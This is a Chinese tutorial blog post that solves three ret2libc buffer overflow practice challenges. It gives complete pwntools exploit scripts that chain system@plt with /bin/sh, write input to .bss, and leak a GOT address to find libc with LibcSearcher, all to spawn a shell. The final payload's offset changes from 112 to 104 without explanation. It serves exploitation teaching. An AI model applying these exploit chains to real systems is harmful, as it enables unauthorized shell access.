千家信息网

缓冲区溢出漏洞-基本ROP-ret2lib

发表于:2024-11-20 作者:千家信息网编辑
千家信息网最后更新 2024年11月20日,本文视频:如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514基础知识:第一题:ret2libc1我们先用IDA分析下有一个gets函数会有溢出漏洞,我们在查
千家信息网最后更新 2024年11月20日缓冲区溢出漏洞-基本ROP-ret2lib

本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514

基础知识:

第一题:ret2libc1

我们先用IDA分析下

有一个gets函数会有溢出漏洞,我们在查看下程序的有哪些保护

可以看到开启了NX,说明我们在栈中的数据没有执行权限,我们需要使用ROP方式进行绕过

我们使用gdb的pattern进行测试溢出偏移量是112

命令分别是:pattern create 200

执行r命令

输入生成的字符串

根据提示执行pattern offset xxxxxx

接下里我们要做的是执行系统函数system("/bin/sh"),来获取系统的权限

所以我们可以想象我们的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr

我们需要system的plt地址以及字符串/bin/sh的地址

system的plt地址可以用IDA来查看,在页面中使用ALT + T来搜索system

/bin/sh的获取方式:

所以得到我们的exp为:

from pwn import *

p = process('./ret2libc1')

system_plt_addr = 0x08048460

bin_sh_addr = 0x08048720

payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])

p.sendline(payload)

p.interactive()

第二题

这道题和第一个题没有太大区别,唯一的区别在于找不到字符串/bin/sh的地址了。所以我们需要重新构造。

除了在程序中查找/bin/sh的地址,我们也可以直接让用户输入。所以我们可以构造以下payload

payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh

payload里的pop_ebx还是pop eax都无所谓,但我们使用ROPgadget在搜索的时候只能搜到pop ebx;ret

接下来我们动态调试下payload发送到ret2libc2后代码执行过程和栈变化。我们看下exp代码

from pwn import *

p = process('./ret2libc2')

system_plt = 0x08048490

gets_plt = 0x08048460

buf = 0x0804a0e4 - 16

pop_ebx_addr = 0x0804843d

payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])

pause()

p.sendline(payload)

p.interactive()

也可以是一下exp:

from pwn import *

p = process("./ret2libc2")

elf = ELF("./ret2libc2")

rop = ROP(elf)

gets_plt = elf.plt['gets']

system_plt = elf.plt['system']

#自动查找rop,而不需要我们使用ROPgadget去搜索

pop_ret = rop.search(8).address

#pop_ret = 0x0804843d

#elf.bss()代表的是bss段段开始位置(这个位置会比实际的bss起始位置大一些)

buf = elf.bss(0xf)

#buf = 0x0804b000 - 16

payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])

p.sendline(payload)

p.sendline('/bin/sh\n')

p.interactive()

buf变量的值是bss段的内容,我们使用vmmap就可以看到有w权限的bss,在最末尾-16来保存我们gets输入的内容。

也可以使用display &buf2来找一个变量的地址

运行exp.py,得到pid后使用gdb attach进行调试

一直finish到main函数中

我们发现在执行完main方法的ret之后程序进入了gets函数,说明我们的payload被成功执行了.

第三题:

使用IDA查看代码

发现有gets函数,存在漏洞,使用GDB加载程序:gdb ./ret2libc3

进入到gdb命令行后,使用checksec查看保护

发现有NX保护,我们使用ROP进行绕过。

我们可以构造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr

关键在于如何获取system和/bin/sh的地址,所以我们使用objdump查看system plt地址

发现plt中没有system,使用ROPgadget查找/bin/sh的地址

发现没有/bin/sh,所以我们只能靠自己计算这两个的值了。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下

  • https://github.com/niklasb/libc-database

所以我们第一个要做的事情就是判断这个ret2libc3程序依赖的哪个libc,思路如下:

1、泄露一个ret2libc3函数的位置

2、获取libc的版本

3、根据偏移获取shell和sh的位置

4、执行程序获取shell

这里我们用一个lic的工具https://github.com/lieanu/LibcSearcher

他能帮我们快速的找到system和/bin/sh的地址,但是他需要一个关键的东西:一个程序函数的地址

我们知道在Linux的程序中使用了延迟绑定机制,也就是说一个函数在没有执行前,你是不知道它的真实地址是什么的。而这个程序中我们能看到的有printf函数、gets函数。我们通过这两个函数来确定libc的版本。代码如下:

from pwn import *

import time

p = process("./ret2libc3")

elf = ELF("./ret2libc3")

offset = 112

#要泄漏的函数的地址

target_func = 'gets'

#调用puts函数进行打印

puts_func = 'puts'

puts_plt = elf.plt[puts_func]

target_got = elf.got[target_func]

main_addr = elf.symbols['main']

#调用puts函数,打印泄漏函数的got地址,最后返回main函数,在32位程序中调用函数地址的第一个参数就是返回地址,后面的才是参数

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)

#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])

p.sendlineafter("Can you find it !?",payload)

print hex(u32(p.recv()[0:4]))

我们看一下结果:确实后12位是不变的,3e0。(一个字符4个字节,3 *4 = 12)

我们查一下版本:https://libc.blukat.me

版本有点多,我们换个函数,使用puts函数,直接将变量target_func改为puts,查看运行结果:

发现后12位是ca0

经过比对,这两个版本的地址是一样的,所以用那个都可以。

最后exp

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

rop = ROP(ret2libc3)

func = 'puts'

puts_plt = ret2libc3.plt['puts']

libc_start_main_got = ret2libc3.got[func]

main = ret2libc3.symbols['main']# 获取main函数地址

print "leak libc_start_main_got addr and return to main again"

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"

#获取puts函数运行时的地址

libc_start_main_addr = u32(sh.recv()[0:4])

print libc_start_main_addr

# 实例化LibcSearcher对象

libc = LibcSearcher(func, libc_start_main_addr)

# 计算libc的初始地址(puts的动态地址-puts的偏移地址)

libcbase = libc_start_main_addr - libc.dump(func)

# 计算system地址

system_addr = libcbase + libc.dump('system')

# 计算/bin/sh地址

binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)

sh.interactive()


0